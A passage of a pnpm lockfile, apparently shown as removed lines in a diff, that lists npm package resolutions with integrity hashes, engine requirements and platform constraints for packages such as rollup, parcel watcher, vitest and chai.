sha512-RWbSrDiYmO4LbejWY7ttpxczuwQyZLBUyygsA9Nsv95hpzUWwnNTVQmAq3xuh7vNwCp07UTmE5i11XAEExx4RA==} - engines: {node: '>=18'} - peerDependencies: - '@types/node': '>=18' - peerDependenciesMeta: - '@types/node': - optional: true - - '@inquirer/figures@1.0.15': - resolution: {integrity: sha512-t2IEY+unGHOzAaVM5Xx6DEWKeXlDDcNPeDyUpsRc6CUhBfU3VQOEl+Vssh7VNp1dR8MdUJBWhuObjXCsVpjN5g==} - engines: {node: '>=18'} - - '@inquirer/type@3.0.10': - resolution: {integrity: sha512-BvziSRxfz5Ov8ch0z/n3oijRSEcEsHnhggm4xFZe93DHcUCTlutlq9Ox4SVENAfcRD22UQq7T/atg9Wr3k09eA==} - engines: {node: '>=18'} - peerDependencies: - '@types/node': '>=18' - peerDependenciesMeta: - '@types/node': - optional: true - - '@isaacs/cliui@8.0.2': - resolution: {integrity: sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==} - engines: {node: '>=12'} - - '@istanbuljs/schema@0.1.3': - resolution: {integrity: sha512-ZXRY4jNvVgSVQ8DL3LTcakaAtXwTVUxE81hslsyD2AtoXW/wVob10HkOJ1X/pAlcI7D+2YoZKg5do8G/w6RYgA==} - engines: {node: '>=8'} - - '@jridgewell/gen-mapping@0.3.13': - resolution: {integrity: sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==} - - '@jridgewell/resolve-uri@3.1.2': - resolution: {integrity: sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==} - engines: {node: '>=6.0.0'} - - '@jridgewell/sourcemap-codec@1.5.5': - resolution: {integrity: sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==} - - '@jridgewell/trace-mapping@0.3.31': - resolution: {integrity: sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==} - - '@manypkg/find-root@1.1.0': - resolution: {integrity: sha512-mki5uBvhHzO8kYYix/WRy2WX8S3B5wdVSc9D6KcU5lQNglP2yt58/VfLuAK49glRXChosY8ap2oJ1qgma3GUVA==} - - '@manypkg/get-packages@1.1.3': - resolution: {integrity: sha512-fo+QhuU3qE/2TQMQmbVMqaQ6EWbMhi4ABWP+O4AM1NqPBuy0OrApV5LO6BrrgnhtAHS2NH6RrVk9OL181tTi8A==} - - '@msgpackr-extract/msgpackr-extract-darwin-arm64@3.0.3': - resolution: {integrity: sha512-QZHtlVgbAdy2zAqNA9Gu1UpIuI8Xvsd1v8ic6B2pZmeFnFcMWiPLfWXh7TVw4eGEZ/C9TH281KwhVoeQUKbyjw==} - cpu: [arm64] - os: [darwin] - - '@msgpackr-extract/msgpackr-extract-darwin-x64@3.0.3': - resolution: {integrity: sha512-mdzd3AVzYKuUmiWOQ8GNhl64/IoFGol569zNRdkLReh6LRLHOXxU4U8eq0JwaD8iFHdVGqSy4IjFL4reoWCDFw==} - cpu: [x64] - os: [darwin] - - '@msgpackr-extract/msgpackr-extract-linux-arm64@3.0.3': - resolution: {integrity: sha512-YxQL+ax0XqBJDZiKimS2XQaf+2wDGVa1enVRGzEvLLVFeqa5kx2bWbtcSXgsxjQB7nRqqIGFIcLteF/sHeVtQg==} - cpu: [arm64] - os: [linux] - - '@msgpackr-extract/msgpackr-extract-linux-arm@3.0.3': - resolution: {integrity: sha512-fg0uy/dG/nZEXfYilKoRe7yALaNmHoYeIoJuJ7KJ+YyU2bvY8vPv27f7UKhGRpY6euFYqEVhxCFZgAUNQBM3nw==} - cpu: [arm] - os: [linux] - - '@msgpackr-extract/msgpackr-extract-linux-x64@3.0.3': - resolution: {integrity: sha512-cvwNfbP07pKUfq1uH+S6KJ7dT9K8WOE4ZiAcsrSes+UY55E/0jLYc+vq+DO7jlmqRb5zAggExKm0H7O/CBaesg==} - cpu: [x64] - os: [linux] - - '@msgpackr-extract/msgpackr-extract-win32-x64@3.0.3': - resolution: {integrity: sha512-x0fWaQtYp4E6sktbsdAqnehxDgEc/VwM7uLsRCYWaiGu0ykYdZPiS8zCWdnjHwyiumousxfBm4SO31eXqwEZhQ==} - cpu: [x64] - os: [win32] - - '@mswjs/interceptors@0.40.0': - resolution: {integrity: sha512-EFd6cVbHsgLa6wa4RljGj6Wk75qoHxUSyc5asLyyPSyuhIcdS2Q3Phw6ImS1q+CkALthJRShiYfKANcQMuMqsQ==} - engines: {node: '>=18'} - - '@nodelib/fs.scandir@2.1.5': - resolution: {integrity: sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==} - engines: {node: '>= 8'} - - '@nodelib/fs.stat@2.0.5': - resolution: {integrity: sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==} - engines: {node: '>= 8'} - - '@nodelib/fs.walk@1.2.8': - resolution: {integrity: sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==} - engines: {node: '>= 8'} - - '@open-draft/deferred-promise@2.2.0': - resolution: {integrity: sha512-CecwLWx3rhxVQF6V4bAgPS5t+So2sTbPgAzafKkVizyi7tlwpcFpdFqq+wqF2OwNBmqFuu6tOyouTuxgpMfzmA==} - - '@open-draft/logger@0.3.0': - resolution: {integrity: sha512-X2g45fzhxH238HKO4xbSr7+wBS8Fvw6ixhTDuvLd5mqh6bJJCFAPwU9mPDxbcrRtfxv4u5IHCEH77BmxvXmmxQ==} - - '@open-draft/until@2.1.0': - resolution: {integrity: sha512-U69T3ItWHvLwGg5eJ0n3I62nWuE6ilHlmz7zM0npLBRvPRd7e6NYmg54vvRtP5mZG7kZqZCFVdsTWo7BPtBujg==} - - '@parcel/watcher-android-arm64@2.5.6': - resolution: {integrity: sha512-YQxSS34tPF/6ZG7r/Ih9xy+kP/WwediEUsqmtf0cuCV5TPPKw/PQHRhueUo6JdeFJaqV3pyjm0GdYjZotbRt/A==} - engines: {node: '>= 10.0.0'} - cpu: [arm64] - os: [android] - - '@parcel/watcher-darwin-arm64@2.5.6': - resolution: {integrity: sha512-Z2ZdrnwyXvvvdtRHLmM4knydIdU9adO3D4n/0cVipF3rRiwP+3/sfzpAwA/qKFL6i1ModaabkU7IbpeMBgiVEA==} - engines: {node: '>= 10.0.0'} - cpu: [arm64] - os: [darwin] - - '@parcel/watcher-darwin-x64@2.5.6': - resolution: {integrity: sha512-HgvOf3W9dhithcwOWX9uDZyn1lW9R+7tPZ4sug+NGrGIo4Rk1hAXLEbcH1TQSqxts0NYXXlOWqVpvS1SFS4fRg==} - engines: {node: '>= 10.0.0'} - cpu: [x64] - os: [darwin] - - '@parcel/watcher-freebsd-x64@2.5.6': - resolution: {integrity: sha512-vJVi8yd/qzJxEKHkeemh7w3YAn6RJCtYlE4HPMoVnCpIXEzSrxErBW5SJBgKLbXU3WdIpkjBTeUNtyBVn8TRng==} - engines: {node: '>= 10.0.0'} - cpu: [x64] - os: [freebsd] - - '@parcel/watcher-linux-arm-glibc@2.5.6': - resolution: {integrity: sha512-9JiYfB6h6BgV50CCfasfLf/uvOcJskMSwcdH1PHH9rvS1IrNy8zad6IUVPVUfmXr+u+Km9IxcfMLzgdOudz9EQ==} - engines: {node: '>= 10.0.0'} - cpu: [arm] - os: [linux] - - '@parcel/watcher-linux-arm-musl@2.5.6': - resolution: {integrity: sha512-Ve3gUCG57nuUUSyjBq/MAM0CzArtuIOxsBdQ+ftz6ho8n7s1i9E1Nmk/xmP323r2YL0SONs1EuwqBp2u1k5fxg==} - engines: {node: '>= 10.0.0'} - cpu: [arm] - os: [linux] - - '@parcel/watcher-linux-arm64-glibc@2.5.6': - resolution: {integrity: sha512-f2g/DT3NhGPdBmMWYoxixqYr3v/UXcmLOYy16Bx0TM20Tchduwr4EaCbmxh1321TABqPGDpS8D/ggOTaljijOA==} - engines: {node: '>= 10.0.0'} - cpu: [arm64] - os: [linux] - - '@parcel/watcher-linux-arm64-musl@2.5.6': - resolution: {integrity: sha512-qb6naMDGlbCwdhLj6hgoVKJl2odL34z2sqkC7Z6kzir8b5W65WYDpLB6R06KabvZdgoHI/zxke4b3zR0wAbDTA==} - engines: {node: '>= 10.0.0'} - cpu: [arm64] - os: [linux] - - '@parcel/watcher-linux-x64-glibc@2.5.6': - resolution: {integrity: sha512-kbT5wvNQlx7NaGjzPFu8nVIW1rWqV780O7ZtkjuWaPUgpv2NMFpjYERVi0UYj1msZNyCzGlaCWEtzc+exjMGbQ==} - engines: {node: '>= 10.0.0'} - cpu: [x64] - os: [linux] - - '@parcel/watcher-linux-x64-musl@2.5.6': - resolution: {integrity: sha512-1JRFeC+h7RdXwldHzTsmdtYR/Ku8SylLgTU/reMuqdVD7CtLwf0VR1FqeprZ0eHQkO0vqsbvFLXUmYm/uNKJBg==} - engines: {node: '>= 10.0.0'} - cpu: [x64] - os: [linux] - - '@parcel/watcher-win32-arm64@2.5.6': - resolution: {integrity: sha512-3ukyebjc6eGlw9yRt678DxVF7rjXatWiHvTXqphZLvo7aC5NdEgFufVwjFfY51ijYEWpXbqF5jtrK275z52D4Q==} - engines: {node: '>= 10.0.0'} - cpu: [arm64] - os: [win32] - - '@parcel/watcher-win32-ia32@2.5.6': - resolution: {integrity: sha512-k35yLp1ZMwwee3Ez/pxBi5cf4AoBKYXj00CZ80jUz5h8prpiaQsiRPKQMxoLstNuqe2vR4RNPEAEcjEFzhEz/g==} - engines: {node: '>= 10.0.0'} - cpu: [ia32] - os: [win32] - - '@parcel/watcher-win32-x64@2.5.6': - resolution: {integrity: sha512-hbQlYcCq5dlAX9Qx+kFb0FHue6vbjlf0FrNzSKdYK2APUf7tGfGxQCk2ihEREmbR6ZMc0MVAD5RIX/41gpUzTw==} - engines: {node: '>= 10.0.0'} - cpu: [x64] - os: [win32] - - '@parcel/watcher@2.5.6': - resolution: {integrity: sha512-tmmZ3lQxAe/k/+rNnXQRawJ4NjxO2hqiOLTHvWchtGZULp4RyFeh6aU4XdOYBFe2KE1oShQTv4AblOs2iOrNnQ==} - engines: {node: '>= 10.0.0'} - - '@pinojs/redact@0.4.0': - resolution: {integrity: sha512-k2ENnmBugE/rzQfEcdWHcCY+/FM3VLzH9cYEsbdsoqrvzAKRhUZeRNhAZvB8OitQJ1TBed3yqWtdjzS6wJKBwg==} - - '@pkgjs/parseargs@0.11.0': - resolution: {integrity: sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==} - engines: {node: '>=14'} - - '@polka/url@1.0.0-next.29': - resolution: {integrity: sha512-wwQAWhWSuHaag8c4q/KN/vCoeOJYshAIvMQwD4GpSb3OiZklFfvAgmj0VCBBImRpuF/aFgIRzllXlVX93Jevww==} - - '@rollup/rollup-android-arm-eabi@4.55.1': - resolution: {integrity: sha512-9R0DM/ykwfGIlNu6+2U09ga0WXeZ9MRC2Ter8jnz8415VbuIykVuc6bhdrbORFZANDmTDvq26mJrEVTl8TdnDg==} - cpu: [arm] - os: [android] - - '@rollup/rollup-android-arm64@4.55.1': - resolution: {integrity: sha512-eFZCb1YUqhTysgW3sj/55du5cG57S7UTNtdMjCW7LwVcj3dTTcowCsC8p7uBdzKsZYa8J7IDE8lhMI+HX1vQvg==} - cpu: [arm64] - os: [android] - - '@rollup/rollup-darwin-arm64@4.55.1': - resolution: {integrity: sha512-p3grE2PHcQm2e8PSGZdzIhCKbMCw/xi9XvMPErPhwO17vxtvCN5FEA2mSLgmKlCjHGMQTP6phuQTYWUnKewwGg==} - cpu: [arm64] - os: [darwin] - - '@rollup/rollup-darwin-x64@4.55.1': - resolution: {integrity: sha512-rDUjG25C9qoTm+e02Esi+aqTKSBYwVTaoS1wxcN47/Luqef57Vgp96xNANwt5npq9GDxsH7kXxNkJVEsWEOEaQ==} - cpu: [x64] - os: [darwin] - - '@rollup/rollup-freebsd-arm64@4.55.1': - resolution: {integrity: sha512-+JiU7Jbp5cdxekIgdte0jfcu5oqw4GCKr6i3PJTlXTCU5H5Fvtkpbs4XJHRmWNXF+hKmn4v7ogI5OQPaupJgOg==} - cpu: [arm64] - os: [freebsd] - - '@rollup/rollup-freebsd-x64@4.55.1': - resolution: {integrity: sha512-V5xC1tOVWtLLmr3YUk2f6EJK4qksksOYiz/TCsFHu/R+woubcLWdC9nZQmwjOAbmExBIVKsm1/wKmEy4z4u4Bw==} - cpu: [x64] - os: [freebsd] - - '@rollup/rollup-linux-arm-gnueabihf@4.55.1': - resolution: {integrity: sha512-Rn3n+FUk2J5VWx+ywrG/HGPTD9jXNbicRtTM11e/uorplArnXZYsVifnPPqNNP5BsO3roI4n8332ukpY/zN7rQ==} - cpu: [arm] - os: [linux] - - '@rollup/rollup-linux-arm-musleabihf@4.55.1': - resolution: {integrity: sha512-grPNWydeKtc1aEdrJDWk4opD7nFtQbMmV7769hiAaYyUKCT1faPRm2av8CX1YJsZ4TLAZcg9gTR1KvEzoLjXkg==} - cpu: [arm] - os: [linux] - - '@rollup/rollup-linux-arm64-gnu@4.55.1': - resolution: {integrity: sha512-a59mwd1k6x8tXKcUxSyISiquLwB5pX+fJW9TkWU46lCqD/GRDe9uDN31jrMmVP3feI3mhAdvcCClhV8V5MhJFQ==} - cpu: [arm64] - os: [linux] - - '@rollup/rollup-linux-arm64-musl@4.55.1': - resolution: {integrity: sha512-puS1MEgWX5GsHSoiAsF0TYrpomdvkaXm0CofIMG5uVkP6IBV+ZO9xhC5YEN49nsgYo1DuuMquF9+7EDBVYu4uA==} - cpu: [arm64] - os: [linux] - - '@rollup/rollup-linux-loong64-gnu@4.55.1': - resolution: {integrity: sha512-r3Wv40in+lTsULSb6nnoudVbARdOwb2u5fpeoOAZjFLznp6tDU8kd+GTHmJoqZ9lt6/Sys33KdIHUaQihFcu7g==} - cpu: [loong64] - os: [linux] - - '@rollup/rollup-linux-loong64-musl@4.55.1': - resolution: {integrity: sha512-MR8c0+UxAlB22Fq4R+aQSPBayvYa3+9DrwG/i1TKQXFYEaoW3B5b/rkSRIypcZDdWjWnpcvxbNaAJDcSbJU3Lw==} - cpu: [loong64] - os: [linux] - - '@rollup/rollup-linux-ppc64-gnu@4.55.1': - resolution: {integrity: sha512-3KhoECe1BRlSYpMTeVrD4sh2Pw2xgt4jzNSZIIPLFEsnQn9gAnZagW9+VqDqAHgm1Xc77LzJOo2LdigS5qZ+gw==} - cpu: [ppc64] - os: [linux] - - '@rollup/rollup-linux-ppc64-musl@4.55.1': - resolution: {integrity: sha512-ziR1OuZx0vdYZZ30vueNZTg73alF59DicYrPViG0NEgDVN8/Jl87zkAPu4u6VjZST2llgEUjaiNl9JM6HH1Vdw==} - cpu: [ppc64] - os: [linux] - - '@rollup/rollup-linux-riscv64-gnu@4.55.1': - resolution: {integrity: sha512-uW0Y12ih2XJRERZ4jAfKamTyIHVMPQnTZcQjme2HMVDAHY4amf5u414OqNYC+x+LzRdRcnIG1YodLrrtA8xsxw==} - cpu: [riscv64] - os: [linux] - - '@rollup/rollup-linux-riscv64-musl@4.55.1': - resolution: {integrity: sha512-u9yZ0jUkOED1BFrqu3BwMQoixvGHGZ+JhJNkNKY/hyoEgOwlqKb62qu+7UjbPSHYjiVy8kKJHvXKv5coH4wDeg==} - cpu: [riscv64] - os: [linux] - - '@rollup/rollup-linux-s390x-gnu@4.55.1': - resolution: {integrity: sha512-/0PenBCmqM4ZUd0190j7J0UsQ/1nsi735iPRakO8iPciE7BQ495Y6msPzaOmvx0/pn+eJVVlZrNrSh4WSYLxNg==} - cpu: [s390x] - os: [linux] - - '@rollup/rollup-linux-x64-gnu@4.55.1': - resolution: {integrity: sha512-a8G4wiQxQG2BAvo+gU6XrReRRqj+pLS2NGXKm8io19goR+K8lw269eTrPkSdDTALwMmJp4th2Uh0D8J9bEV1vg==} - cpu: [x64] - os: [linux] - - '@rollup/rollup-linux-x64-musl@4.55.1': - resolution: {integrity: sha512-bD+zjpFrMpP/hqkfEcnjXWHMw5BIghGisOKPj+2NaNDuVT+8Ds4mPf3XcPHuat1tz89WRL+1wbcxKY3WSbiT7w==} - cpu: [x64] - os: [linux] - - '@rollup/rollup-openbsd-x64@4.55.1': - resolution: {integrity: sha512-eLXw0dOiqE4QmvikfQ6yjgkg/xDM+MdU9YJuP4ySTibXU0oAvnEWXt7UDJmD4UkYialMfOGFPJnIHSe/kdzPxg==} - cpu: [x64] - os: [openbsd] - - '@rollup/rollup-openharmony-arm64@4.55.1': - resolution: {integrity: sha512-xzm44KgEP11te3S2HCSyYf5zIzWmx3n8HDCc7EE59+lTcswEWNpvMLfd9uJvVX8LCg9QWG67Xt75AuHn4vgsXw==} - cpu: [arm64] - os: [openharmony] - - '@rollup/rollup-win32-arm64-msvc@4.55.1': - resolution: {integrity: sha512-yR6Bl3tMC/gBok5cz/Qi0xYnVbIxGx5Fcf/ca0eB6/6JwOY+SRUcJfI0OpeTpPls7f194as62thCt/2BjxYN8g==} - cpu: [arm64] - os: [win32] - - '@rollup/rollup-win32-ia32-msvc@4.55.1': - resolution: {integrity: sha512-3fZBidchE0eY0oFZBnekYCfg+5wAB0mbpCBuofh5mZuzIU/4jIVkbESmd2dOsFNS78b53CYv3OAtwqkZZmU5nA==} - cpu: [ia32] - os: [win32] - - '@rollup/rollup-win32-x64-gnu@4.55.1': - resolution: {integrity: sha512-xGGY5pXj69IxKb4yv/POoocPy/qmEGhimy/FoTpTSVju3FYXUQQMFCaZZXJVidsmGxRioZAwpThl/4zX41gRKg==} - cpu: [x64] - os: [win32] - - '@rollup/rollup-win32-x64-msvc@4.55.1': - resolution: {integrity: sha512-SPEpaL6DX4rmcXtnhdrQYgzQ5W2uW3SCJch88lB2zImhJRhIIK44fkUrgIV/Q8yUNfw5oyZ5vkeQsZLhCb06lw==} - cpu: [x64] - os: [win32] - - '@standard-schema/spec@1.1.0': - resolution: {integrity: sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w==} - - '@tanstack/query-core@5.90.16': - resolution: {integrity: sha512-MvtWckSVufs/ja463/K4PyJeqT+HMlJWtw6PrCpywznd2NSgO3m4KwO9RqbFqGg6iDE8vVMFWMeQI4Io3eEYww==} - - '@tanstack/react-query@5.90.16': - resolution: {integrity: sha512-bpMGOmV4OPmif7TNMteU/Ehf/hoC0Kf98PDc0F4BZkFrEapRMEqI/V6YS0lyzwSV6PQpY1y4xxArUIfBW5LVxQ==} - peerDependencies: - react: ^18 || ^19 - - '@types/chai@5.2.3': - resolution: {integrity: sha512-Mw558oeA9fFbv65/y4mHtXDs9bPnFMZAL/jxdPFUpOHHIXX91mcgEHbS5Lahr+pwZFR8A7GQleRWeI6cGFC2UA==} - - '@types/deep-eql@4.0.2': - resolution: {integrity: sha512-c9h9dVVMigMPc4bwTvC5dxqtqJZwQPePsWjPlpSOnojbor6pGqdk541lfA7AqFQr5pB1BRdq0juY9db81BwyFw==} - - '@types/estree@1.0.8': - resolution: {integrity: sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==} - - '@types/json-schema@7.0.15': - resolution: {integrity: sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==} - - '@types/node@12.20.55': - resolution: {integrity: sha512-J8xLz7q2OFulZ2cyGTLE1TbbZcjpno7FaN6zdJNrgAdrJ+DZzh/uFR6YrTb4C+nXakvud8Q4+rbhoIWlYQbUFQ==} - - '@types/node@22.19.3': - resolution: {integrity: sha512-1N9SBnWYOJTrNZCdh/yJE+t910Y128BoyY+zBLWhL3r0TYzlTmFdXrPwHL9DyFZmlEXNQQolTZh3KHV31QDhyA==} - - '@types/picomatch@4.0.2': - resolution: {integrity: sha512-qHHxQ+P9PysNEGbALT8f8YOSHW0KJu6l2xU8DYY0fu/EmGxXdVnuTLvFUvBgPJMSqXq29SYHveejeAha+4AYgA==} - - '@types/prompts@2.4.9': - resolution: {integrity: sha512-qTxFi6Buiu8+50/+3DGIWLHM6QuWsEKugJnnP6iv2Mc4ncxE4A/OJkjuVOA+5X0X1S/nq5VJRa8Lu+nwcvbrKA==} - - '@types/prop-types@15.7.15': - resolution: {integrity: sha512-F6bEyamV9jKGAFBEmlQnesRPGOQqS2+Uwi0Em15xenOxHaf2hv6L8YCVn3rPdPJOiJfPiCnLIRyvwVaqMY3MIw==} - - '@types/react@18.3.1': - resolution: {integrity: sha512-V0kuGBX3+prX+DQ/7r2qsv1NsdfnCLnTgnRJ1pYnxykBhGMz+qj+box5lq7XsO5mtZsBqpjwwTu/7wszPfMBcw==} - - '@types/semver@7.7.1': - resolution: {integrity: sha512-FmgJfu+MOcQ370SD0ev7EI8TlCAfKYU+B4m5T3yXc1CiRN94g/SZPtsCkk506aUDtlMnFZvasDwHHUcZUEaYuA==} - - '@types/statuses@2.0.6': - resolution: {integrity: sha512-xMAgYwceFhRA2zY+XbEA7mxYbA093wdiW8Vu6gZPGWy9cmOyU9XesH1tNcEWsKFd5Vzrqx5T3D38PWx1FIIXkA==} - - '@vitest/coverage-v8@3.2.4': - resolution: {integrity: sha512-EyF9SXU6kS5Ku/U82E259WSnvg6c8KTjppUncuNdm5QHpe17mwREHnjDzozC8x9MZ0xfBUFSaLkRv4TMA75ALQ==} - peerDependencies: - '@vitest/browser': 3.2.4 - vitest: 3.2.4 - peerDependenciesMeta: - '@vitest/browser': - optional: true - - '@vitest/expect@3.2.4': - resolution: {integrity: sha512-Io0yyORnB6sikFlt8QW5K7slY4OjqNX9jmJQ02QDda8lyM6B5oNgVWoSoKPac8/kgnCUzuHQKrSLtu/uOqqrig==} - - '@vitest/mocker@3.2.4': - resolution: {integrity: sha512-46ryTE9RZO/rfDd7pEqFl7etuyzekzEhUbTW3BvmeO/BcCMEgq59BKhek3dXDWgAj4oMK6OZi+vRr1wPW6qjEQ==} - peerDependencies: - msw: ^2.4.9 - vite: ^5.0.0 || ^6.0.0 || ^7.0.0-0 - peerDependenciesMeta: - msw: - optional: true - vite: - optional: true - - '@vitest/pretty-format@3.2.4': - resolution: {integrity: sha512-IVNZik8IVRJRTr9fxlitMKeJeXFFFN0JaB9PHPGQ8NKQbGpfjlTx9zO4RefN8gp7eqjNy8nyK3NZmBzOPeIxtA==} - - '@vitest/runner@3.2.4': - resolution: {integrity: sha512-oukfKT9Mk41LreEW09vt45f8wx7DordoWUZMYdY/cyAk7w5TWkTRCNZYF7sX7n2wB7jyGAl74OxgwhPgKaqDMQ==} - - '@vitest/snapshot@3.2.4': - resolution: {integrity: sha512-dEYtS7qQP2CjU27QBC5oUOxLE/v5eLkGqPE0ZKEIDGMs4vKWe7IjgLOeauHsR0D5YuuycGRO5oSRXnwnmA78fQ==} - - '@vitest/spy@3.2.4': - resolution: {integrity: sha512-vAfasCOe6AIK70iP5UD11Ac4siNUNJ9i/9PZ3NKx07sG6sUxeag1LWdNrMWeKKYBLlzuK+Gn65Yd5nyL6ds+nw==} - - '@vitest/ui@3.2.4': - resolution: {integrity: sha512-hGISOaP18plkzbWEcP/QvtRW1xDXF2+96HbEX6byqQhAUbiS5oH6/9JwW+QsQCIYON2bI6QZBF+2PvOmrRZ9wA==} - peerDependencies: - vitest: 3.2.4 - - '@vitest/utils@3.2.4': - resolution: {integrity: sha512-fB2V0JFrQSMsCo9HiSq3Ezpdv4iYaXRG1Sx8edX3MwxfyNn83mKiGzOcH+Fkxt4MHxr3y42fQi1oeAInqgX2QA==} - - ansi-colors@4.1.3: - resolution: {integrity: sha512-/6w/C21Pm1A7aZitlI5Ni/2J6FFQN8i1Cvz3kHABAAbw93v/NlvKdVOqz7CCWz/3iv/JplRSEEZ83XION15ovw==} - engines: {node: '>=6'} - - ansi-escapes@7.2.0: - resolution: {integrity: sha512-g6LhBsl+GBPRWGWsBtutpzBYuIIdBkLEvad5C/va/74Db018+5TZiyA26cZJAr3Rft5lprVqOIPxf5Vid6tqAw==} - engines: {node: '>=18'} - - ansi-regex@5.0.1: - resolution: {integrity: sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==} - engines: {node: '>=8'} - - ansi-regex@6.2.2: - resolution: {integrity: sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==} - engines: {node: '>=12'} - - ansi-styles@4.3.0: - resolution: {integrity: sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==} - engines: {node: '>=8'} - - ansi-styles@6.2.3: - resolution: {integrity: sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==} - engines: {node: '>=12'} - - argparse@1.0.10: - resolution: {integrity: sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==} - - argparse@2.0.1: - resolution: {integrity: sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==} - - arkregex@0.0.5: - resolution: {integrity: sha512-ncYjBdLlh5/QnVsAA8De16Tc9EqmYM7y/WU9j+236KcyYNUXogpz3sC4ATIZYzzLxwI+0sEOaQLEmLmRleaEXw==} - - arktype@2.1.29: - resolution: {integrity: sha512-jyfKk4xIOzvYNayqnD8ZJQqOwcrTOUbIU4293yrzAjA3O1dWh61j71ArMQ6tS/u4pD7vabSPe7nG3RCyoXW6RQ==} - - array-union@2.1.0: - resolution: {integrity: sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==} - engines: {node: '>=8'} - - assertion-error@2.0.1: - resolution: {integrity: sha512-Izi8RQcffqCeNVgFigKli1ssklIbpHnCYc6AknXGYoB6grJqyeby7jv12JUQgmTAnIDnbck1uxksT4dzN3PWBA==} - engines: {node: '>=12'} - - ast-v8-to-istanbul@0.3.10: - resolution: {integrity: sha512-p4K7vMz2ZSk3wN8l5o3y2bJAoZXT3VuJI5OLTATY/01CYWumWvwkUw0SqDBnNq6IiTO3qDa1eSQDibAV8g7XOQ==} - - atomic-sleep@1.0.0: - resolution: {integrity: sha512-kNOjDqAh7px0XWNI+4QbzoiR/nTkHAWNud2uvnJquD1/x5a7EQZMJT0AczqK0Qn67oY/TTQ1LbUKajZpp3I9tQ==} - engines: {node: '>=8.0.0'} - - auto-bind@5.0.1: - resolution: {integrity: sha512-ooviqdwwgfIfNmDwo94wlshcdzfO64XV0Cg6oDsDYBJfITDz1EngD2z7DkbvCWn+XIMsIqW27sEVF6qcpJrRcg==} - engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} - - balanced-match@1.0.2: - resolution: {integrity: sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==} - - better-path-resolve@1.0.0: - resolution: {integrity: sha512-pbnl5XzGBdrFU/wT4jqmJVPn2B6UHPBOhzMQkY/SPUPB6QtUXtmBHBIwCbXJol93mOpGMnQyP/+BB19q04xj7g==} - engines: {node: '>=4'} - - brace-expansion@2.0.2: - resolution: {integrity: sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==} - - braces@3.0.3: - resolution: {integrity: sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==} - engines: {node: '>=8'} - - bundle-name@4.1.0: - resolution: {integrity: sha512-tjwM5exMg6BGRI+kNmTntNsvdZS1X8BFYS6tnJ2hdH0kVxM6/eVZ2xy+FqStSWvYmtfFMDLIxurorHwDKfDz5Q==} - engines: {node: '>=18'} - - cac@6.7.14: - resolution: {integrity: sha512-b6Ilus+c3RrdDk+JhLKUAQfzzgLEPy6wcXqS7f/xe1EETvsDP6GORG7SFuOs6cID5YkqchW/LXZbX5bc8j7ZcQ==} - engines: {node: '>=8'} - - chai@5.3.3: - resolution: {integrity: sha512-4zNhdJD/iOjSH0A05ea+Ke6MU5mmpQcbQsSOkgdaUMJ9zTlDTD/GYlwohmIE2u0gaxHYiVHEn1Fw9mZ/ktJWgw==} - engines: {node: '>=18'} - - 